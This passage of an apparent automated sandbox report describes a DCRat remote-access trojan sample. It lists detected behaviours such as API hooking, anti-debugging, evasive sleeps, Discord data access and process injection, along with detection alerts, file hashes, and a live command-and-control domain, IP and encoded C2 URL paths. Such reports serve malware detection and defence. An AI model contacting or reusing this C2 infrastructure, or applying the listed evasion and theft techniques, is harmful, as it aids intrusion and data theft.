\"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")\n Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00001840-00000C26-2262883447","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"8de59fd0244c45416985d79d676bae9b24a8e733.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%TEMP%\\8de59fd0244c45416985d79d676bae9b24a8e733.exe]- [targetUID: 00000000-00001840]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"intoHostDhcp.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"register-cimprovider.exe\" (Indicator: \"register-cimprovider.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"$74","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text with unusual entropies 7.71426936121","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"conhost.exe\" sleeping for \"1566804069\" milliseconds\n \"WmiPrvSE.exe\" sleeping for \"1566804069\" milliseconds\n \"csrss.exe\" sleeping for \"1566804069\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 92.53.96.121 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"FindFirstFileW\n GetFileAttributesW\n OpenFileMappingW\n GetTempPathW\n DeviceIoControl\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExA\n UnhandledExceptionFilter\n LoadLibraryExW\n CreateThread\n GetSystemDirectoryW\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetVersionExW\n GetTickCount\n VirtualProtect\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n GetProcAddress\n CreateFileMappingW\n WriteFile\n FindFirstFileExA\n FindNextFileW\n FindNextFileA\n CreateFileW\n GetSystemInfo\n LockResource\n GetCommandLineW\n GetCommandLineA\n MapViewOfFile\n GetModuleHandleW\n FindResourceW\n Sleep","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Hooks file system APIs","description":"\"FindNextFileA@KERNEL32.DLL\" in \"conhost.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"conhost.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"conhost.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"conhost.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"WmiPrvSE.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"WmiPrvSE.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"WmiPrvSE.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"WmiPrvSE.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-2","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Cryptographic Related","name":"Hooks key cryptographic functions of the CryptoAPI","description":"\"BCryptEncrypt@BCRYPT.DLL\" in \"csrss.exe\"\n \"BCryptImportKeyPair@BCRYPT.DLL\" in \"csrss.exe\"\n \"BCryptDecrypt@BCRYPT.DLL\" in \"csrss.exe\"\n \"BCryptImportKey@BCRYPT.DLL\" in \"csrss.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE DCRAT Activity (GET)\" (SID: 2034194, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"General","name":"Contains ability to start/interact with device drivers","description":"DeviceIoControl@KERNEL32.dll at 38284-1715-004072FC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1547.006","relevance":8,"id":"stream-21","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$75","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetConnectA@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetOpenA@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetSetOptionW@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetQueryOptionW@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetSetOptionA@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetQueryOptionA@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetConnectW@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetReadFile@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"InternetOpenW@WININET.DLL\" in \"intoHostDhcp.exe\"\n \"send@WS2_32.DLL\" in \"conhost.exe\"\n \"send@WS2_32.DLL\" in \"WmiPrvSE.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal desktop applications information (file access)","description":"\"dllhost.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\DISCORD\\LOCAL STORAGE\\LEVELDB\"\n \"dllhost.exe\" trying to touch file \"%APPDATA%\\DISCORD\\LOCAL STORAGE\\LEVELDB\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$76","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Spawns many processes"},{"detail":"Creates a fake system process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"intel_graph":{"map":{"Domain:cr94982.tw1.ru":{"type":"Domain","value":"cr94982.tw1.ru"},"File:0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d":{"type":"File","value":"0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d"},"File:05dd7c5e6c750c5058b55f52cb30d5e8e7e00a79ad004277b33ca3dd7394da8a":{"type":"File","value":"05dd7c5e6c750c5058b55f52cb30d5e8e7e00a79ad004277b33ca3dd7394da8a"},"File:09362b763ff0721e5f56b3d2363f22dcfd5e10e7a067df5e5a97ad0506a26616":{"type":"File","value":"09362b763ff0721e5f56b3d2363f22dcfd5e10e7a067df5e5a97ad0506a26616"},"File:16f049e45f6700c535ae11e7f40fbcea7785de572f5b1c3c9ec44886403f500a":{"type":"File","value":"16f049e45f6700c535ae11e7f40fbcea7785de572f5b1c3c9ec44886403f500a"},"File:1928004b80696ce437e6fbafa715c2f8cc3a17360dfb5cfa875767cbed05c40c":{"type":"File","value":"1928004b80696ce437e6fbafa715c2f8cc3a17360dfb5cfa875767cbed05c40c"},"File:1a6a85c3867c8cdedd18e4d7469d98911466265b397f2e4a5895bd6725135861":{"type":"File","value":"1a6a85c3867c8cdedd18e4d7469d98911466265b397f2e4a5895bd6725135861"},"File:1ceaa2fc0c442d69e6cdd1143817cb6a4ef5d26f218d434e18104bcd19719fbc":{"type":"File","value":"1ceaa2fc0c442d69e6cdd1143817cb6a4ef5d26f218d434e18104bcd19719fbc"},"File:2ed0b769c78532c0244d62564243c0dbaf836509ff0f73dca2f0a262620e1578":{"type":"File","value":"2ed0b769c78532c0244d62564243c0dbaf836509ff0f73dca2f0a262620e1578"},"File:3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d":{"type":"File","value":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d"},"File:4108452700c915576a3e772746062e7dfcb3512d943fcdf8119abe72eb732c9f":{"type":"File","value":"4108452700c915576a3e772746062e7dfcb3512d943fcdf8119abe72eb732c9f"},"File:600367ba474820c7c7ed8c06f6dc6bc9be9ee88327aca20aeb779bac0f176436":{"type":"File","value":"600367ba474820c7c7ed8c06f6dc6bc9be9ee88327aca20aeb779bac0f176436"},"File:7ec39c015fcde0705e7f3a65948bb3d7755609474da286942bdfad89e68f77e9":{"type":"File","value":"7ec39c015fcde0705e7f3a65948bb3d7755609474da286942bdfad89e68f77e9"},"File:8500ab7a4eef4a1105f9b4fb2b7e56c876ce12cf05e67ca89e6bd5d3f992c8b4":{"type":"File","value":"8500ab7a4eef4a1105f9b4fb2b7e56c876ce12cf05e67ca89e6bd5d3f992c8b4"},"File:8ac44e9caa322d222f7e3cbfa9ea87027ae668757ddf2f16fe79e1ff51c8e128":{"type":"File","value":"8ac44e9caa322d222f7e3cbfa9ea87027ae668757ddf2f16fe79e1ff51c8e128"},"File:a77f47766ab93b6bdf25aa69ad7bc59f1f5529f1c169322c850828b1bbdd121f":{"type":"File","value":"a77f47766ab93b6bdf25aa69ad7bc59f1f5529f1c169322c850828b1bbdd121f"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1":{"type":"File","value":"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1"},"File:b043444be5578c8d349c628471db35465c245aaf387778e2899d884cf560fb9c":{"type":"File","value":"b043444be5578c8d349c628471db35465c245aaf387778e2899d884cf560fb9c"},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},"File:f636ad5bfab3cacd97532396ade77867a5e198445385ce0f18128a87c2c599e0":{"type":"File","value":"f636ad5bfab3cacd97532396ade77867a5e198445385ce0f18128a87c2c599e0"},"File:ff9548c5810351eea938a04cc4b47dbb3cece7e555c16968edca4c140485f456":{"type":"File","value":"ff9548c5810351eea938a04cc4b47dbb3cece7e555c16968edca4c140485f456"},"Ip:92.53.96.121":{"type":"Ip","value":"92.53.96.121"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W":{"type":"Url","value":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W":{"type":"Url","value":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W":{"type":"Url","value":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9 ...":{"type":"Url","value":"$77"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W":{"type":"Url","value":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNk ...":{"type":"Url","value":"$78"},"Url:/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W":{"type":"Url","value":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiE